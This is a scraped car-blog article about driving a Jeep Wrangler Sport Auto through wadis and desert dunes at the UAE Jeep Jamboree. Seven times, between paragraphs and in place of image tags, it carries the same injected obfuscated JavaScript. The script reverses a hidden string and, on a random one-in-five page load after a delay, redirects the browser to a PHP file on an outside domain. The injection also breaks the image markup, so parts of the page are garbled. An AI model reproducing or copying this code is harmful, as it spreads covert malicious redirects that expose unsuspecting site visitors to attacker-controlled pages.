crankandpiston takes a Jeep Wrangler Sport Auto off-road to Wadi Shouka and into the desert at Jebel Maleiha and Fossil Rock. Thanks to the 17th annual Jeep Jamboree, we put the 280hp 3.6-litre V6 and three-way 4WD transfer case to work.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Jeep-Jamboree-Dubai-UAE-3.jpg” alt=”” width=”728″ height=”485″ />
I seem to be getting the same look from almost everybody, and pretty much the same comment too: ‘You’re going by yourself?!”
At first glance, the Jeep Jamboree didn’t appear to be an event where companionship, a bivouac tent and survival training from Sir Ranulph Fiennes would be necessary. ‘Just a bit of fun’ is the assurance I am given by the good folks at Trading Enterprises as I am handed the key to the brand new Jeep Wrangler Sport Auto that will be my weapon of choice for the day.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Jeep-Jamboree-Dubai-UAE-2.jpg” alt=”” width=”728″ height=”485″ />
Indeed, as I sink my first two cups of coffee on this crisp Friday morning, I am not overly concerned either. True the Jamboree, now in its 17th year, traditionally takes in some of the trickier sections of wadi and desert terrain this side of Jebel Maleiha, but in such a vehicle as the Wrangler – one of the favoured UAE duners – what do I have to worry about?
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Jeep-Jamboree-Dubai-UAE-36.jpg” alt=”” width=”728″ height=”485″ />
Fast forward four hours. I’m currently teetering on the edge of a fairly sizeable dune in no man’s land halfway between coast-points Dubai and Fujairah, my attempt to traverse said obstacle having gone hilariously wrong thanks to a poorly judged run-up on my part. All around I can see various 4x4s snaking over the horizon and hurtling themselves towards dunes of varying size, but this particular stretch of half kilometre-squared desert I now seem to have all to myself. Having ascertained that willing the Wrangler not to roll over has at least worked so far, I now realise I will have to get myself out of this little pickle.
The Jamboree Road Book sitting on the passenger seat assures me on page one that ‘there is no right way’ to complete the journey, though – fortunately – also mentions on page three how to dislodge your vehicle from a dune without killing yourself if you’ve been an idiot and got yourself stuck.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Jeep-Jamboree-Dubai-UAE-43.jpg” alt=”” width=”728″ height=”485″ />
With right hand VERY down, and the gentlest of touches on the accelerator to get me going, the red sand currently blotting my view out of the passenger window starts to change into blue sky as the Wrangler starts to crawl down its precarious bank. Another few seconds and I’m back on sorta terra firma. I’m at least aware now that the Wrangler can get to bone-chilling angles without tipping over, though experiment has not done my heart rate much good. And I’m still only five minutes into a two-hour section of the route.
With no real option of turning back, I hit the next stretch of undulating sand a little less limp-wristedly than I have hitherto been doing, and can’t help but ponder how differently the opening stretches had gone.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Jeep-Jamboree-Dubai-UAE-9.jpg” alt=”” width=”728″ height=”485″ />
Three hours earlier, after a leisurely albeit monotonous highway cruise from Dubai to the outskirts of Wadi Shouka, the Jeep has just dipped its Goodyears into the loose gravel, and – since it weighs just under a comparatively svelte 1500kg – is soon proving as agile as a mountain goat over the loose, rocky surface.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Jeep-Jamboree-Dubai-UAE-12.jpg” alt=”” width=”728″ height=”485″ />
There’s 280hp coming from the 3.6-litre V6 under the bonnet, but speed isn’t what we’re looking for here. That would be the 260lb ft of torque being sluiced onto the rocks, which when working in tandem with a five-speed automatic gearbox, Electronic Stability Control, anti-spin differential rear axle and a three-way 4WD transfer case means the Wrangler simply dances from obstacle to obstacle, almost oblivious to the terrain that could so easily puncture a tyre or rip a suspension arm in twain.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/jeep-jamboree-wrangler-sport-auto/” target=”_blank”>FULL GALLERY OF IMAGES – CLICK
